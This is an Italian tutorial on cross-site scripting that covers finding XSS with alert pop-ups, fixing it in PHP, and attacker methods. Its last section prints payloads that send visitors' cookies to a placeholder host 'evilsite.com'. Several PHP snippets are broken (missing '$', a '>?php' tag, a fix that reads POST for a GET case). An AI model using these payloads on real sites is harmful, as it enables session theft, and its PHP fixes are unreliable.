In questa guida cercheremo di farvi capire il piu possibile sulle XSS ovvero sul Cross Site Scripting, una vulnerabilita facilmente trovabile (e spesso altrettanto facilmente fixabile) nei siti web.

  1. Il cross site scripting
  2. Fixare una xss
  3. Metodi usati dai crackers per sfruttare una XSS

Il cross site scripting

Il cross site scripting rientra nella categoria di attacchi “code injection”, ovvero “iniezione di codice” (maligno) in una pagina web.
Questo tipo di attacco può essere trovato su pagine web dinamiche e non e, premesso questo, andiamo a vedere come si trovano le xss.

Spesso e volentieri, questo bug si trova facilmente nei motori di ricerca e per vedere se è presente, basta mettere del codice javascript dentro alla casella di ricerca. Spesso i “bug-hunter” preferiscono utilizzare un codice che genera un pop-up simile a questo:

<

pre><script>alert(‘Sito afflitto da xss’)</script>

In questo modo apparirà una finestrella che dirà:

Sito afflitto da xss

Esistono molti modi per fare apparire questi pop up, o meglio per aggirare gli eventuali fix del sys admin ma questo e il codice piu comune.
Di solito davanti a questo codice potrebbe essere utile mettere

'>

In mondo da chiudere il form della casella di ricerca. In questo modo avremo un codice
Come questo

'>

Esistono pero molti altri posti dove poter trovare xss e, premesso che il sys admin non sia bravo, possiamo trovarle ad esempio:

  • In una tagboard;
  • In un guestbook;
  • Nei commenti di un blog;
  • Quando inviamo un Messaggio Privato;
  • e (sono possibili) in ogni form.

Come fixare una xss

Noi ci occuperemo di fixare xss in script in PHP.

Per fixare un’ XSS basta mettere una piccola funzione per controllare il testo inserito nel forms.
Per farlo dovremo modificare il codice sorgente della pagina che riceve i dati.
Ecco un’esempio di XSS su post (un guestbook o una tagboard per esempio):
index.html

<form method="post" action="xss.php">
<input type="text" name="xss">
<input type="submit">
</form>

xss.php

<?php
xss = $_POST['xss'];
echo $xss;
?>

Che, ovviamente, avrebbe funzionato anche con utilizzando il metodo GET.
Comunque, se nel form provate ad inserire:

<script>alert('Sito afflitto da xss')</script>

Si aprirà una finestrella con scritto appunto
Sito afflitto da xss
Per fixare questo bug possiamo usare per esempio:

<?php
xss = htmlentities($_POST['xss']);
echo $xss;
?>

Ora l’ xss non funzionerà piu, dato che i simboli speciali verranno trasformati nei loro rispettivi HEX code.
Oppure se non vogliamo possiamo sostituire dei caratteri con degli altri a nostro piacere.

Possiamo fare ciò con str_replace:

<?php
xss = str_replace('</>', '-', $_POST['xss']);
echo $xss;
?>

Questo codice sostituirà nella variabile XSS i codici </> in –  (anche se le restrizioni potrebbero venire raggirate, perciò è fortemente consigliato htmlentities).
Lo stesso discorso, come detto prima, vale anche per GET:

<?php
$xss = $_GET['xss']
echo xss;
?>

Per fixarlo, potreste farlo diventare:

>?php
xss = htmlentities($_POST['xss']);
echo $xss;
?>

Metodi che usano i crackers per sfruttare questa vulnerabilità

Negli ultimi tempi la tecnica del Cross Site Scripting viene spesso sottovalutata, per questo motivo alla fine risulta una delle tecniche piu distruttive usate dai crackers per aggirare la sicurezza del vostro sito.

Sono inoltre molto facili da trovare, perciò un attacco del genere potrebbe arrivare da un semplice lamer (o cracker alle prime armi).
Una XSS, come gia detto, permette all’ attaccante di inserire codice (lato client ovviamente) in una vostra pagina, quindi si possono includere codici javascript.
Gli attacchi spesso (se non sempre) si basano su quest’ultimo.
L’ attacco potrebbere consistere nel rubare i cookie dell’utente che visita la pagina afflitta dall’xss. In un caso di xss su variabile get, l’ url potrebbe essere cosi:

http://sito_buggato.it/search?xss='><script>alert(window.location="http://evilsite.com/script.php?data=" + document.cookie)</script>

Oppure su post (in un guestbook magari) dove e permesso codice html

<img src="http://evilsite.com/script.php?data=" + document.cookie">

Oppure ancora potrebbero iniettare codice javascript come:

<script>alert(window.location="http://evilsite.com/script.php?data=" + document.cookie)</script>

PhishingDove chi visita la pagina verra reindirizzato al sito maligno.
L’ attaccante usera una pagina in un host che permettera di rubarvi i cookie.
Questi sono soltanto esempi, ma con questa tecnica si potrebbe anche eseguire un redirect verso un sito maligno preparato ad hoc, passando quindi da una XSS ad un attacco di Phishing.

Un’altro metodo, potrebbe essere quello di sfruttare la XSS sfruttando il TabNabbing

Presto pubblicheremo altri esempi di codice XSS